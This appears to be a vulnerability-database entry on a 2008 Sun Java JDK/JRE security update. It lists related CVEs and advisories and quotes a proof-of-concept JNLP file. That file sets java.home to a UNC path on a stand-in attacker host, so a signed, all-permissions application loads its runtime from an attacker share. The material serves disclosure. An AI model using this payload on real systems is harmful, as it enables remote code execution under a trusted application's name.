Sun Java JDK/JRE安全更新修复多个漏洞

🗓️ 09 Dec 2008 00:00:00Reported by RootType

Sun Java JDK/JRE security update for multiple vulnerabilitie

Reporter	Title	Published	Views	Family All 433
0day.today	Mac OS X Java applet Remote Deserialization Remote PoC	20 May 200900:00	–	zdt
Circl	CVE-2008-5353	3 Dec 200800:00	–	circl
Check Point Advisories	Sun Java Runtime Environment Abstract Windowing Toolkit Memory Corruption (CVE-2008-5359)	23 Jun 201000:00	–	checkpoint_advisories
Check Point Advisories	Sun Java Web Start Splashscreen GIF Decoding Buffer Overflow (CVE-2008-2086)	28 Dec 200900:00	–	checkpoint_advisories
Check Point Advisories	Sun Java Runtime Environment Pack200 Decompression Integer Overflow (CVE-2008-5352; CVE-2009-1095)	3 Aug 201000:00	–	checkpoint_advisories
Check Point Advisories	Sun Java Runtime Environment JAR File Processing Stack Buffer Overflow (CVE-2008-5354)	13 Jul 201000:00	–	checkpoint_advisories
Check Point Advisories	Sun Java Web Start Splashscreen GIF Decoding Buffer Overflow - Improved Performance (CVE-2008-2086)	16 May 201300:00	–	checkpoint_advisories
Check Point Advisories	Java Signed Applet (CVE-2008-5353; CVE-2010-0094; CVE-2010-0840)	1 Nov 201100:00	–	checkpoint_advisories
CVE	CVE-2008-2086	5 Dec 200802:00	–	cve
CVE	CVE-2008-5339	5 Dec 200811:00	–	cve


                                                &lt;jnlp spec=&quot;1.0+&quot; codebase=&quot;http://trusted.example.org/&quot; href=&quot;evil.jnlp&quot;&gt;
    &lt;information&gt;
      &lt;title&gt;Trusted Application&lt;/title&gt;
      &lt;vendor&gt;Trusted Vendor&lt;/vendor&gt;
      &lt;description&gt;Trusted Application by Trusted Vendor&lt;/description&gt;
      &lt;homepage href=&quot;http://trusted.example.org/&quot; /&gt;
      &lt;offline-allowed /&gt;
    &lt;/information&gt;
    &lt;security&gt;&lt;all-permissions /&gt;&lt;/security&gt;
    &lt;resources&gt;
      &lt;j2se version=&quot;1.5+&quot; /&gt;
      &lt;!-- Next line overrides the JRE's java.home System property --&gt;
      &lt;property name=&quot;java.home&quot; value=&quot;\\evil.example.com\jre&quot; /&gt;
      &lt;jar href=&quot;signed-and-trusted-jce-dependent-library.jar&quot; /&gt;
    &lt;/resources&gt;
    &lt;application-desc main-class=&quot;org.example.trusted.app.StartApp&quot; /&gt;
  &lt;/jnlp&gt;

09 Dec 2008 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.89535